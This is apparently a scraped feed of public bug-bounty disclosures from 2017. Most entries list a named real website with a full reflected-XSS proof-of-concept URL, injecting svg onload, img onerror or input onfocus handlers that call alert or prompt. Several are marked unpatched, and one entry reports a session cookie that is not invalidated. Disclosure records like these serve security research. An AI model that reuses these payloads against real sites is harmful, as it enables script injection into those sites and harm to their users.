def-shop.com XSS vulnerability

Vulnerable URL: https://www.def-shop.com/newsletter.php?alert/OPENBUGBOUNTY/...

learn.thermofisher.com XSS vulnerability

Vulnerable URL: https://learn.thermofisher.com/courses/search?q=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirm%27OPENBUGBOUNTY%27%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.10.2017 Vulnerability type:| XSS...

uochb.cz XSS vulnerability

Vulnerable URL: http://www.uochb.cz/web/structure/31.html//%22%3E%3Csvg/onload=%22alert'OPENBUGBOUNTY'%22%3E Details: Description| Value ---|--- Patched:| Yes, at 19.09.2017 Latest check for patch:| 19.09.2017 01:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

Moneybird: Stored XSS at Moneybird

Reporter found a stored XSS vulnerability in a search field. We have deployed countermeasures to prevent this vulnerability...

shop.bigbash.com.au XSS vulnerability

Vulnerable URL: http://shop.bigbash.com.au/melbourne-renegades-201617-mens-on-field-replica-shirt-150704"OPENBUGBOUNTY.phtml Details: Description| Value ---|--- Patched:| Yes, at 13.11.2017 Latest check for patch:| 13.11.2017 08:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

djguide.nl XSS vulnerability

Vulnerable URL: https://www.djguide.nl/maand.p?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 274743 VIP website status:| No Check djguide.nl SSL connection:| Grade: F...

trafic.ro XSS vulnerability

Vulnerable URL: http://www.trafic.ro/cauta//?catname="...

vandervalkzaltbommel.nl XSS vulnerability

Vulnerable URL: https://www.vandervalkzaltbommel.nl/overnachten/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

hoteludenveghel.nl XSS vulnerability

Vulnerable URL: https://www.hoteludenveghel.nl/eten-drinken/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3653100...

GSA Bounty: The Federalsit session cookie (federalist.sid) is not properly invalidated - backdoor access to the account is possible

Description Hello. This issue is not very dangerous itself, but can be dangerous in combination of others like XSS, or malicious access to the user account. The user/attacker, who got once valid cookie federalist.sid from the account, can use it as backdoor for some time, because it is not actual...

uberdownloads.com XSS vulnerability

Vulnerable URL: http://uberdownloads.com/search.php?searchstring=" XANY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3145926 VIP website status:| No Check uberdownloads.com SSL connection:| Grade: F Coordinate...

hockey.by XSS vulnerability

Vulnerable URL: http://hockey.by/search/?search=1%22--!%3E%3CSvg/OnLoad=confirm%27OPENBUGBOUNTY%27%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 983169 VIP website status:| ...

glfc.int XSS vulnerability

Vulnerable URL: http://www.glfc.int/search.php?cx=000383001685146685654%3Ahj1qvncd1be=FORID%3A11=%27%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=Search=www.glfc.int%2Fsearch.php=www.google.pt%2F=45j2025j2 Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

weerplaza.nl XSS vulnerability

Vulnerable URL: https://www.weerplaza.nl/?alert/OPENBUGBOUNTY/...

edwiseinternational.com XSS vulnerability

Vulnerable URL: http://www.edwiseinternational.com/SearchEngine/searchresult.asp?sw=%27%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

xxxsexanal.com XSS vulnerability

Vulnerable URL: http://xxxsexanal.com/search/?q=...

tamlyn.com XSS vulnerability

Vulnerable URL: http://www.tamlyn.com/dev/product.php?s=VZB5168,%20VZB5168W,%20VZB388,%20VZB7168,%20VZB128,%20VZB588%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CBody/OnPageShow=confirmOPENBUGBOUNTY%3E=ColorFlashing=ColorFlashing Details: Description|...

rdocumentation.org XSS vulnerability

Vulnerable URL: http://www.rdocumentation.org/packages/dave%22%27%2D%2D%21 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 27083 VIP website status:| Yes Coordinated Disclosure...

euro.cz XSS vulnerability

Vulnerable URL: http://www.euro.cz/kalkulacky/duchodova-kalkulacka-vypocet-odchodu-do-duchodu-2017-1346207?DV=0=0==aaaaa%22%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg%20onload=prompt/OPENBUGBOUNTY/%3E= Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:|...

lessentiel.lu XSS vulnerability

Vulnerable URL: http://www.lessentiel.lu/fr/emploi/index.tmpl?Keyword=aaaaa%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 38550 VIP website status:| Yes...